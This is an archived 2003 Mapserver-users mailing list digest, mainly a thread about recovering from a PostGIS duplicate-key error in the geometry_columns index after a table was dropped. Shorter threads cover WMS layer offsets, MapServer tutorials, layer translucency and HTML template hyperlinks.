Error occurred while executing PL/pgSQL function addgeometrycolumn WARNING: Error occurred while executing PL/pgSQL function addgeometrycolumn WARNING: line 39 at execute statement WARNING: line 39 at execute statement ERROR: Cannot insert a duplicate key into unique index gc_ok Christian Schuster Rudolf Schuster AG Postfach 277 CH - 3000 Bern 11 http://www.rsag.ch ++41 31 348 05 30 --=_alternative 00596480C1256CBE_= Content-Type: text/html; charset="US-ASCII"
Hi thanks so much. That just worked out!

Christian Schuster

Rudolf Schuster AG
Postfach 277
CH - 3000 Bern 11

http://www.rsag.ch
++41 31 348 05 30



"Mark Cave-Ayland" <mark.cave-ayland at webbased.co.uk>

30.01.2003 17:14

To
<christian.schuster at rsag.ch>
cc
Subject
RE: [Mapserver-users] How to delete a GIST Index in gc_ok





Hi Christian,

The URL for the DropGeometryColumn command can be found at:

http://postgis.refractions.net/docs/c664.html

Sorry, I wasn't particularly clear about that one! What you need to do is recreate the table the same as it was when you deleted it before you can use DropGeometryColumn.

So for example create the 'geo' table again but without the geometry column

create table geo (ID int4, NAME varchar(20));

Then instead of doing AddGeometryColumn (which affects the geometry_columns table) you need to add the column name and type manually using this (where geom should be the name of your geometry column):

Alter table geo add column geom geometry;

Then use the DropGeometryColumn function to remove it like this:

Select DropGeometryColumn('myGISdb', 'geo', 'geom');

And then drop the table:

Drop table geo;


You should now be able to create a new table called 'geo' and add a new geometry column without any problems :)


Hope this helps,


Mark.

---

Mark Cave-Ayland
Webbased Ltd.
Tamar Science Park
Derriford
Plymouth
PL6 8BX
England

Tel: +44 (0)1752 764445
Fax: +44 (0)1752 764446


This email and any attachments are confidential to the intended recipient and may also be privileged. If you are not the intended recipient please delete it from your system and notify the sender. You should not copy it or use it for any purpose nor disclose or distribute its contents to any other person.
-----Original Message-----
From: christian.schuster at rsag.ch [mailto:christian.schuster at rsag.ch]
Sent: 30 January 2003 15:59
To: Mark Cave-Ayland
Cc: mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] How to delete a GIST Index in gc_ok


Hi Mark,

Unfortunately, I did not use the DropGeometryColumn function. I am also not aware of the syntax of this function because I could not find any information about this.
You wrote me to add the GeometryColumn again. This is just the part which is causing an error. So I am not able to add again a GeometryColumn wiht the previous table name.

Can you send me the synthay for the function DropGeometryColumn? Then I would try to delete it even if the table does not exist anmore.

Thanks

Christian Schuster

Rudolf Schuster AG
Postfach 277
CH - 3000 Bern 11

http://www.rsag.ch
++41 31 348 05 30

"Mark Cave-Ayland" <mark.cave-ayland at webbased.co.uk>
30.01.2003 16:22
To
<christian.schuster at rsag.ch>
cc

Subject
RE: [Mapserver-users] How to delete a GIST Index in gc_ok









Hi Christian,



Did you use the DropGeometryColumnto remove the old geometry column from the geo table? Otherwise you need to add the old geometry column back into your table, then use the function DropGeometryColumnto properly remove it. Once this is done, you should be able to carry on without any duplicate key problems.





Hope this helps,



Mark.



---

Mark Cave-Ayland
Webbased Ltd.
Tamar Science Park
Derriford
Plymouth
PL6 8BX
England

Tel: +44 (0)1752 764445
Fax: +44 (0)1752 764446


This email and any attachments are confidential to the intended recipient and may also be privileged. If you are not the intended recipient please delete it from your system and notify the sender. You should not copy it or use it for any purpose nor disclose or distribute its contents to any other person.

-----Original Message-----
From: christian.schuster at rsag.ch[mailto:christian.schuster at rsag.ch]
Sent:30 January 2003 13:56
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] How to delete a GIST Index in gc_ok




Hi list,

I had a table 'geo' with a geometry column of type point and also a GIST index. Then I deleted this table as well as the index belonging to it and create it again. So far okay. But as I wanted to add the geometry column I received the following error message. To work around this problem I renamed the table in to geo2 and then I could add the geometry column.

I am working on Win2000 with Cygwin, PostgreSQL-7.3.1-1 and PostGIS-0.7.3

Does anyone know how to delete the key in index gc_ok?

Thanks for your help.


myGISdb=# create table geo (ID int4, NAME varchar(20));
CREATE TABLE
myGISdb=# select addgeometrycolumn('myGISdb', 'geo', 'geom', -1, 'POINT', 2);
ERROR:  Cannot insert a duplicate key into unique index gc_ok
WARNING:  Error occurred while executing PL/pgSQL function addgeometrycolumn
WARNING:  Error occurred while executing PL/pgSQL function addgeometrycolumn
WARNING:  line 39 at execute statement
WARNING:  line 39 at execute statement
ERROR:  Cannot insert a duplicate key into unique index gc_ok

Christian Schuster

Rudolf Schuster AG
Postfach 277
CH - 3000 Bern 11

http://www.rsag.ch
++41 31 348 05 30

--=_alternative 00596480C1256CBE_=-- From eblevins at insight.rr.com Thu Jan 30 08:21:01 2003 From: eblevins at insight.rr.com (Eric L. Blevins) Date: Thu, 30 Jan 2003 11:21:01 -0500 Subject: [Mapserver-users] How to delete a GIST Index in gc_ok References: Message-ID: <005a01c2c87b$9dca7920$6405a8c0@piii933> This is a multi-part message in MIME format. ------=_NextPart_000_004E_01C2C851.AB6D7A20 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Here you will find the PostGIS function information = http://postgis.refractions.net/docs/ DropGeometryColumn(varchar, varchar, varchar)=20 Syntax: DropGeometryColumn(, , ). = Remove a geometry column from a spatial table.=20 Unfourtunatly I've tried to drop a geometry column after droping the = table and it does not work. As far as I know once you drop the table you can not add a geometry or = drop the geometry with the same name, unless you droped the geometry = before droping the table. In the past what I have done is drop the database and recreate all the = tables when I forgot to drop the geometry before droping the table. That will work but is a pain. -------------------------------------------------------- Eric L. Blevins www.WiFiMaps.com -------------------------------------------------------- ----- Original Message -----=20 From: christian.schuster at rsag.ch=20 To: Mark Cave-Ayland=20 Cc: mapserver-users at lists.gis.umn.edu=20 Sent: Thursday, January 30, 2003 10:59 AM Subject: RE: [Mapserver-users] How to delete a GIST Index in gc_ok Hi Mark,=20 Unfortunately, I did not use the DropGeometryColumn function. I am = also not aware of the syntax of this function because I could not find = any information about this.=20 You wrote me to add the GeometryColumn again. This is just the part = which is causing an error. So I am not able to add again a = GeometryColumn wiht the previous table name.=20 Can you send me the synthay for the function DropGeometryColumn? Then = I would try to delete it even if the table does not exist anmore.=20 Thanks=20 Christian Schuster Rudolf Schuster AG Postfach 277 CH - 3000 Bern 11 http://www.rsag.ch ++41 31 348 05 30=20 "Mark Cave-Ayland" =20 30.01.2003 16:22=20 To =20 cc =20 Subject RE: [Mapserver-users] How to delete a GIST Index = in gc_ok=20 =20 =20 Hi Christian,=20 =20 Did you use the DropGeometryColumnto remove the old geometry column = from the geo table? Otherwise you need to add the old geometry column = back into your table, then use the function DropGeometryColumnto = properly remove it. Once this is done, you should be able to carry on = without any duplicate key problems.=20 =20 =20 Hope this helps,=20 =20 Mark.=20 =20 ---=20 Mark Cave-Ayland=20 Webbased Ltd.=20 Tamar Science Park=20 Derriford=20 Plymouth=20 PL6 8BX=20 England=20 Tel: +44 (0)1752 764445=20 Fax: +44 (0)1752 764446=20 This email and any attachments are confidential to the intended = recipient and may also be privileged. If you are not the intended = recipient please delete it from your system and notify the sender. You = should not copy it or use it for any purpose nor disclose or distribute = its contents to any other person.=20 -----Original Message-----=20 From: christian.schuster at rsag.ch[mailto:christian.schuster at rsag.ch]=20 Sent:30 January 2003 13:56=20 To: mapserver-users at lists.gis.umn.edu=20 Subject: [Mapserver-users] How to delete a GIST Index in gc_ok=20 =20 Hi list,=20 I had a table 'geo' with a geometry column of type point and also a = GIST index. Then I deleted this table as well as the index belonging to = it and create it again. So far okay. But as I wanted to add the geometry = column I received the following error message. To work around this = problem I renamed the table in to geo2 and then I could add the geometry = column.=20 I am working on Win2000 with Cygwin, PostgreSQL-7.3.1-1 and = PostGIS-0.7.3=20 Does anyone know how to delete the key in index gc_ok?=20 Thanks for your help.=20 myGISdb=3D# create table geo (ID int4, NAME varchar(20));=20 CREATE TABLE=20 myGISdb=3D# select addgeometrycolumn('myGISdb', 'geo', 'geom', -1, = 'POINT', 2);=20 ERROR: Cannot insert a duplicate key into unique index gc_ok=20 WARNING: Error occurred while executing PL/pgSQL function = addgeometrycolumn=20 WARNING: Error occurred while executing PL/pgSQL function = addgeometrycolumn=20 WARNING: line 39 at execute statement=20 WARNING: line 39 at execute statement=20 ERROR: Cannot insert a duplicate key into unique index gc_ok=20 Christian Schuster=20 Rudolf Schuster AG=20 Postfach 277=20 CH - 3000 Bern 11=20 http://www.rsag.ch=20 ++41 31 348 05 30=20 ------=_NextPart_000_004E_01C2C851.AB6D7A20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Here you will find the PostGIS function = information=20 http://postgis.refractions.= net/docs/
 
DropGeometryColumn(varchar, varchar, varchar)=20

Syntax: DropGeometryColumn(<db_name>, <table_name>,=20 <column_name>). Remove a geometry column from a spatial table.=20

Unfourtunatly I've tried to drop a = geometry column=20 after droping the table and it does not work.
 
As far as I know once you drop the = table you can=20 not add a geometry or drop the geometry with the same name, unless you = droped=20 the geometry before droping the table.
 
In the past what I have done is drop = the database=20 and recreate all the tables when I forgot to drop the geometry before = droping=20 the table.
 
That will work but is a = pain.
 
 
--------------------------------------------------------
Eric= L.=20 Blevins    www.WiFiMaps.com
----------------= ----------------------------------------
----- Original Message -----
From:=20 christian.schuster at rsag.ch=
To: Mark Cave-Ayland =
Cc: mapserver-users at lists.g= is.umn.edu=20
Sent: Thursday, January 30, = 2003 10:59=20 AM
Subject: RE: [Mapserver-users] = How to=20 delete a GIST Index in gc_ok


Hi Mark,

Unfortunately, I=20 did not use the DropGeometryColumn function. I am also not aware of = the syntax=20 of this function because I could not find any information about = this.=20
You wrote me to add the = GeometryColumn again.=20 This is just the part which is causing an error. So I am not able to = add again=20 a GeometryColumn wiht the previous table name.

Can you send me the synthay for the = function=20 DropGeometryColumn? Then I would try to delete it even if the table = does not=20 exist anmore.


Thanks=20

Christian = Schuster

Rudolf Schuster=20 AG
Postfach 277
CH - 3000 Bern = 11

http://www.rsag.ch
++41 31=20 348 05 30



"Mark = Cave-Ayland"=20 <mark.cave-ayland at webbased.co.uk>

30.01.2003 16:22

To
<christian.schuster at rsag.ch>=20
cc
Subject
RE: = [Mapserver-users]=20 How to delete a GIST Index in = gc_ok

=






Hi Christian,


  =

Did you use the DropGeometryColumnto remove the old geometry = column=20 from the geo table? Otherwise you need to add the old geometry column = back=20 into your table, then use the function DropGeometryColumnto properly = remove=20 it. Once this is done, you should be able to carry on without any = duplicate=20 key problems.


  =

 


Hope this helps,=20

 

Mark.=20

 

--- =

Mark Cave-Ayland
Webbased=20 Ltd.
Tamar Science Park
Derriford

Plymouth
PL6=20 8BX
England

Tel: +44=20 (0)1752 764445
Fax: +44 (0)1752 = 764446=20


This email and any attachments are = confidential to=20 the intended recipient and may also be privileged. If you are not the = intended=20 recipient please delete it from your system and notify the sender. You = should=20 not copy it or use it for any purpose nor disclose or distribute its = contents=20 to any other person.

-----Original=20 Message-----
From:=20 christian.schuster at rsag.ch[mailto:christian.schuster at rsag.ch]

Sent:30=20 January 2003 13:56
To:=20 mapserver-users at lists.gis.umn.edu =
Subject: [Mapserver-users] How to delete a GIST Index = in=20 gc_ok

 


Hi=20 list,

I had a = table=20 'geo' with a geometry column of type point and also a = GIST=20 index. Then I deleted this table as well as the index belonging to it = and=20 create it again. So far okay. But as I wanted to add the geometry = column I=20 received the following error message. To work around this problem I = renamed=20 the table in to geo2 and then I could add the geometry = column.

I am working on Win2000 with = Cygwin,=20 PostgreSQL-7.3.1-1 and PostGIS-0.7.3 =

Does anyone know how to delete the key in index = gc_ok?

Thanks for your = help.=20


myGISdb=3D# create table geo (ID = int4, NAME=20 varchar(20));
CREATE=20 TABLE
myGISdb=3D# select=20 addgeometrycolumn('myGISdb', 'geo', 'geom', -1, 'POINT', = 2);
ERROR:  Cannot insert a = duplicate key=20 into unique index gc_ok
WARNING:  Error occurred while executing PL/pgSQL = function=20 addgeometrycolumn
WARNING:=20  Error occurred while executing PL/pgSQL function=20 addgeometrycolumn
WARNING:=20  line 39 at execute statement =
WARNING:  line 39 at execute = statement=20
ERROR:  Cannot insert a duplicate = key into=20 unique index gc_ok

Christian Schuster

Rudolf = Schuster=20 AG
Postfach 277
CH = - 3000 Bern=20 11

http://www.rsag.ch
++41=20 31 348 05 30
------=_NextPart_000_004E_01C2C851.AB6D7A20-- From mark.cave-ayland at webbased.co.uk Thu Jan 30 08:32:42 2003 From: mark.cave-ayland at webbased.co.uk (Mark Cave-Ayland) Date: Thu, 30 Jan 2003 16:32:42 -0000 Subject: [Mapserver-users] How to delete a GIST Index in gc_ok Message-ID: -----Original Message----- > From: Eric L. Blevins [mailto:eblevins at insight.rr.com] > Sent: 30 January 2003 16:21 > To: Mark Cave-Ayland; christian.schuster at rsag.ch > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] How to delete a GIST Index in gc_ok > > Here you will find the PostGIS function information >http://postgis.refractions.net/docs/ >? > DropGeometryColumn(varchar, varchar, varchar) > Syntax: DropGeometryColumn(, , ). Remove a geometry column from a spatial table. > Unfourtunatly I've tried to drop a geometry column after droping the table and it > does not work. ? > As far as I know once you drop the table you can not add a geometry or drop the > geometry with the same name, unless you droped the geometry before droping the > table. ? > In the past what I have done is drop the database and recreate all the tables when I > forgot to drop the geometry before droping the table. ? Hi Eric, That's not entirely true, I've just noticed my reply didn't go onto the list so I'll make sure it gets there this time. If I have a table like: Create table t1 ( Id int, Name varchar ) Select AddGeometryColumn('mydb', 't1', 'geom', -1, 'POINT', 2); And then do: Drop table t1; ...then it is still possible to recover from this! In this case, the correct thing to do would be: Create table t1 ( Id int, Name varchar ) ...to create the table again. Then add a geometry column of type 'geometry' of the same name to the table manually: Alter table t1 add column geom geometry; Now you can do: Select DropGeometryColumn('mydb', 't1', 'geom'); .... and then everything works as it should :) Cheers, Mark. --- Mark Cave-Ayland Webbased Ltd. Tamar Science Park Derriford Plymouth PL6 8BX England Tel: +44 (0)1752 764445 Fax: +44 (0)1752 764446 This email and any attachments are confidential to the intended recipient and may also be privileged. If you are not the intended recipient please delete it from your system and notify the sender. You should not copy it or use it for any purpose nor disclose or distribute its contents to any other person. From jpaulo at autofax.com.br Tue Jan 28 06:48:39 2003 From: jpaulo at autofax.com.br (=?iso-8859-1?Q?Jo=E3o_Paulo_M._Claro?=) Date: Tue, 28 Jan 2003 12:48:39 -0200 Subject: [Mapserver-users] Help Message-ID: <001a01c2c6dc$58743230$cb75e7c8@afxtd2002311172> This is a multi-part message in MIME format. ------=_NextPart_000_0017_01C2C6CB.94E6CE50 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable G'Day all, I am with the following problem, I am opening to layer of street in the = Mapinfo(tab) format, and determined level of zoom the processing of the = PC goes the 100%, as can prevent this problem?=20 Somebody can indicate an application example, where I can enter with one = definitive coordinate x,y, and receives as return the corresponding = image?=20 Very thanks. Jo=E3o Paulo ------=_NextPart_000_0017_01C2C6CB.94E6CE50 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable G'Day all, I am with the following problem, I am opening to layer of = street in=20 the Mapinfo(tab) format, and determined level of zoom the processing of = the PC=20 goes the 100%, as can prevent this problem? Somebody can indicate an application example, where I can = enter with=20 one definitive coordinate x,y, and receives as return the corresponding = image?=20 Very thanks. Jo=E3o Paulo ------=_NextPart_000_0017_01C2C6CB.94E6CE50-- From kevin at peoplegis.com Tue Jan 28 10:50:22 2003 From: kevin at peoplegis.com (Kevin Flanders) Date: Tue, 28 Jan 2003 13:50:22 -0500 Subject: [Mapserver-users] wms layer placement Message-ID: I have a few wms layers from the USGS server that appear a few hundred feet "off" from the rest of my data....can I offset these layers somehow? Kevin From nacional at cbs.umn.edu Tue Jan 28 16:18:02 2003 From: nacional at cbs.umn.edu (Pericles S. Nacionales) Date: 28 Jan 2003 18:18:02 -0600 Subject: [Mapserver-users] Windows tutorial available? In-Reply-To: <3E36D28F.3000309@calacademy.org> References: <20030128180001.25250.56667.Mailman@lists.gis.umn.edu> <3E36D28F.3000309@calacademy.org> Message-ID: <1043799482.17488.21.camel@arceuthobium.ecology.umn.edu> Hi there. There's really nothing different between the Windows and the Unix MapServers, except the way we deal with paths (and specifying the ".exe" extension of the MapServ CGI). So, I don't think it's worth the time maintaining two versions (when I barely have time to update the one) of the tutorial. Oh, and I've also moved away from Windows. But then that tutorial is downloadable. It's possible someone has downloaded it and made it work on Windows... If not, here's your chance to make it work. ;) Sorry for the non-help and thanks for pointing out the dead links. -Perry N. On Tue, 2003-01-28 at 12:57, Chris Black wrote: > Hello all. I've been working through the tutorial at > http://terrasip.gis.umn.edu/projects/tutorial35/ , and it's useful, > but I'm running on Windows and I think the Windows version would help > me on some points. Clicking on http://128.101.73.80/projects/tutorial > (given in http://mapserver.gis.umn.edu/doc36/demo_readme.html) gives a > "Not Found" error, and going to > http://128.101.73.80:82/projects/tutorial (which I picked up from > http://mapserver.gis.umn.edu/doc35/demo_readme.html) give "connection > refused". Is there in fact a Windows tutorial out there somewhere? > Where? > > Thanks. > > -- Chris Black > California Academy of Sciences -- Pericles S. Nacionales University of Minnesota From james at danisat.net Wed Jan 29 04:50:09 2003 From: james at danisat.net (James Anderson) Date: Wed, 29 Jan 2003 14:50:09 +0200 Subject: [Mapserver-users] Mapserver and Translucency Message-ID: <02f701c2c794$fcb82910$4d570842@beast> This is a multi-part message in MIME format. ------=_NextPart_000_02E5_01C2C7A5.B85FE9E0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_02E6_01C2C7A5.B85FE9E0" ------=_NextPart_001_02E6_01C2C7A5.B85FE9E0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Hi, I would like to know if there is a way to specify translucency or alpha = channel info for a layer in mapserver. I want to be able to display a = polygon layer on the map at about a half on level, so that I can see = other layers underneath it. Can anyone help ?? Thanks, James. ------=_NextPart_001_02E6_01C2C7A5.B85FE9E0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
Hi,
 
I would like to know if there is a way = to specify=20 translucency or alpha channel info for a layer in mapserver.  = I want=20 to be able to display a polygon layer on the map at about a half on = level, so=20 that I can see other layers underneath it.
 
Can anyone help ??
 
Thanks,
 
James.
 
------=_NextPart_001_02E6_01C2C7A5.B85FE9E0-- ------=_NextPart_000_02E5_01C2C7A5.B85FE9E0 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIII7TCCAnww ggHloAMCAQICAwcHdDANBgkqhkiG9w0BAQQFADCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsT FENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAw MC44LjMwMB4XDTAyMDMyMDA4MjE1M1oXDTAzMDMyMDA4MjE1M1owQzEfMB0GA1UEAxMWVGhhd3Rl IEZyZWVtYWlsIE1lbWJlcjEgMB4GCSqGSIb3DQEJARYRamFtZXNAZGFuaXNhdC5uZXQwgZ8wDQYJ KoZIhvcNAQEBBQADgY0AMIGJAoGBALQpcyTNukol+fPF2SQdRH50mgenSut0Ea1rJh4EIMiqs4bv q9DBa8E0tK7PVJKVFxrfDEO1IqVfA1BcKqRRXmsrwJl+jK7H3E8HnMOFH6luTuTKX/+84H3YCumH 0OcbiBFYjWlE22ywaXTS7iFoUwEkhEqEZPh70xntjECFNWWVAgMBAAGjLjAsMBwGA1UdEQQVMBOB EWphbWVzQGRhbmlzYXQubmV0MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEEBQADgYEAaEIP4OPj +ItMsZkRwl4InFv+orvKMxedJDMDjTmtcMQ2dFaxIpjIqnpWwf1KeqP7K0fmjZec2StGRuhiiAzU OJMLNKQR3A0JEr5yFF2NlXlyPrhJHA06tPU/KizWsH14cBysi+83QvGuQYyvBISYIvG2rn6vK2PV Xbvv5MTYGaEwggMtMIIClqADAgECAgEAMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJaQTEV MBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0 ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQw IgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBlcnNv bmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNOTYwMTAxMDAwMDAwWhcNMjAxMjMxMjM1OTU5WjCB 0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3du MRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2 aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIENBMSswKQYJ KoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29tMIGfMA0GCSqGSIb3DQEBAQUA A4GNADCBiQKBgQDUadfUsJRkW3HpR9gMUbbqcpGwhF59LQ2PexLfhSV1KHQ6QixjJ5+Ve0vvfhmH HYbqo925zpZkGsIUbkSsfOaP6E0PcR9AOKYAo4d49vmUhl6t6sBeduvZFKNdbnp8DKVLVX8GGSl/ npom1Wq7OCQIapjHsdqjmJH9edvlWsQcuQIDAQABoxMwETAPBgNVHRMBAf8EBTADAQH/MA0GCSqG SIb3DQEBBAUAA4GBAMfskn5O+PWWpWdiKqTwTRFg0G+NYFhhrCa7UjVcCM8w+6hKloofYkIjjBcP 9LpknBesRynfnZhe0mxgcVyirNx54+duAEcftQ0o6AKd5Jr9E/Sm2Xyx+NxfIyYJkYBz0BQb3kOp gyXy5pwvFcr+pquKB3WLDN1RhGvk+NHOd6KBMIIDODCCAqGgAwIBAgIQZkVyt8x09c9jdkWE0C6R ATANBgkqhkiG9w0BAQQFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTES MBAGA1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMf Q2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFs IEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29t MB4XDTAwMDgzMDAwMDAwMFoXDTA0MDgyNzIzNTk1OVowgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQI EwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYD VQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNB IDIwMDAuOC4zMDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA3jMypmPHCSVFPtJueCdngcXa iBmClw7jRCmKYzUqbXA8+tyu9+50bzC8M5B/+TRxoKNtmPHDT6Jl2w36S/HW3WGl+YXNVZo1Gp2S dagnrthy+boC9tewkd4c6avgGAOofENCUFGHgzzwObSbVIoTh/+zm51JZgAtCYnslGvpoWkCAwEA AaNOMEwwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDEtMjk3MBIGA1UdEwEB /wQIMAYBAf8CAQAwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBAUAA4GBADGxS0dd+QFx5fVTbF15 1j2YwCYTYoEipxL4IpXoG0m3J3sEObr85vIk65H6vewNKjj3UFWobPcNrUwbvAP0teuiR59sogxY jTFCCRFssBpp0SsSskBdavl50OouJd2K5PzbDR+dAvNa28o89kTqJmmHf0iezqWf54TYyWJirQXG MYICXDCCAlgCAQEwgZowgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQ BgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBT ZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMAIDBwd0MAkG BSsOAwIaBQCgggEXMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTAz MDEyOTEyNTAwOVowIwYJKoZIhvcNAQkEMRYEFKRgr/gMn5bfZENw2bRoPHZRuCiRMFsGCSqGSIb3 DQEJDzFOMEwwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFAMAcGBSsO AwIHMA0GCCqGSIb3DQMCAgEoMAcGBSsOAwIdMFsGCyqGSIb3DQEJEAIBMUwwSgQuNzk3Mzc0LTIw MDMgMTMyOTEyNTAgOTY1Mi0wMDc3MDA5NzAxMTIwMTE1MDEwMYABADAVMBOBEWphbWVzQGRhbmlz YXQubmV0MA0GCSqGSIb3DQEBAQUABIGAl62b54M0G50hGELmLebOZUgLnTSS+UmQnc2Om9w4tEWY pltZB1kdeJcjXagVjVFtsV/lTmAclRUHPcTHaBMUxpxK51iHvXkegwvX5KxIlWGkbL/iTimgHN8t PjAipm+WwV/gh8+SbuKAPdVQTsZU8SooMXn5nskPtTVHLGfvgWQAAAAAAAA= ------=_NextPart_000_02E5_01C2C7A5.B85FE9E0-- From bfischer at mpls.houstoneng.com Thu Jan 30 08:38:28 2003 From: bfischer at mpls.houstoneng.com (Brian Fischer) Date: Thu, 30 Jan 2003 10:38:28 -0600 Subject: [Mapserver-users] wms layer placement Message-ID: <8879CCE0F0187742B7302A93A8B87B09253DBF@mpls.houstoneng.com> Kevin, I was having this problem a while back also with the USGS WMS and we finally figured out there was a specific ArcIMS WMS parameter that we had to include to fix the shifting problem. When we included it in the connection string it fixed the shifting we were seeing. The parameter is called REASPECT. See the connection string we are using to the USGS server below. CONNECTION http://gisdata.usgs.net/servlet/com.esri.wms.Esrimap?ServiceName=USGS_WM S_LANDSAT7&VERSION=1.0.0&REQUEST=map&Layers=LANDSAT7&SRS=EPSG:4326&REASP ECT=false&Format=gif I am still not for sure what the parameter means, but it fixed our shifting problem. Maybe this will work for you also. Brian -----Original Message----- From: Kevin Flanders [mailto:kevinflanders at rcn.com] Sent: Tuesday, January 28, 2003 12:50 PM To: Mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] wms layer placement I have a few wms layers from the USGS server that appear a few hundred feet "off" from the rest of my data....can I offset these layers somehow? Kevin _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jmccue at geovue.com Thu Jan 30 08:43:36 2003 From: jmccue at geovue.com (John McCue) Date: Thu, 30 Jan 2003 11:43:36 -0500 Subject: [Mapserver-users] shptree index versions Message-ID: What are the differences/advantages of the different types of formats for the quadtree indexes created by shptree? Thanks, John From geosys at iafrica.com Thu Jan 30 09:35:11 2003 From: geosys at iafrica.com (Robert Stanton) Date: Thu, 30 Jan 2003 19:35:11 +0200 Subject: [Mapserver-users] Hyperlinks on map page Message-ID: <004b01c2c886$0c19de70$0101a8c0@scgs500> Hi List I am placing some basic information from various columns in a .dbf file before a map in my html template, and two of the items are an email address and a web page, eg: Name: [NAME]
Contact: [CONTACT]
Telephone: [DIALCODE] [TELEPHONE]
Fax: [DIALCODE] [FAX]
Email address: Website: [WEBSITE]
Does anyone know how to turn the email and website in to hyperlinks on the page. I have fiddled with the more obvious ways such as: EMail address:
but none of them seem to work. Any ideas would be greatly appreciated. Robert Stanton Durban South Africa From dblasby at refractions.net Thu Jan 30 09:59:36 2003 From: dblasby at refractions.net (David Blasby) Date: Thu, 30 Jan 2003 09:59:36 -0800 Subject: [Mapserver-users] How to delete a GIST Index in gc_ok References: Message-ID: <3E396808.212B5073@refractions.net> Your problem is being caused because the metadata table (geometry_columns) is not being updated if you dont use the "DropGeometryColumn()" function. The easy way to fix this is to delete the appropriate row from the geometry_columns table. dave From ed at topozone.com Thu Jan 30 10:04:13 2003 From: ed at topozone.com (Ed McNierney) Date: Thu, 30 Jan 2003 13:04:13 -0500 Subject: [Mapserver-users] Hyperlinks on map page Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3C16@mercator.topozone.com> Robert - Other than the typo in your example (no closing ">" in the
tag) that should work fine. MapServer doesn't understand the HTML, it just does a simple text substitution. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Robert Stanton [mailto:geosys at iafrica.com] Sent: Thursday, January 30, 2003 12:35 PM To: Mapserver users Subject: [Mapserver-users] Hyperlinks on map page Hi List I am placing some basic information from various columns in a .dbf file before a map in my html template, and two of the items are an email address and a web page, eg: Name: [NAME]
Contact: [CONTACT]
Telephone: [DIALCODE] [TELEPHONE]
Fax: [DIALCODE] [FAX]
Email address: Website: [WEBSITE]
Does anyone know how to turn the email and website in to hyperlinks on the page. I have fiddled with the more obvious ways such as: EMail address:

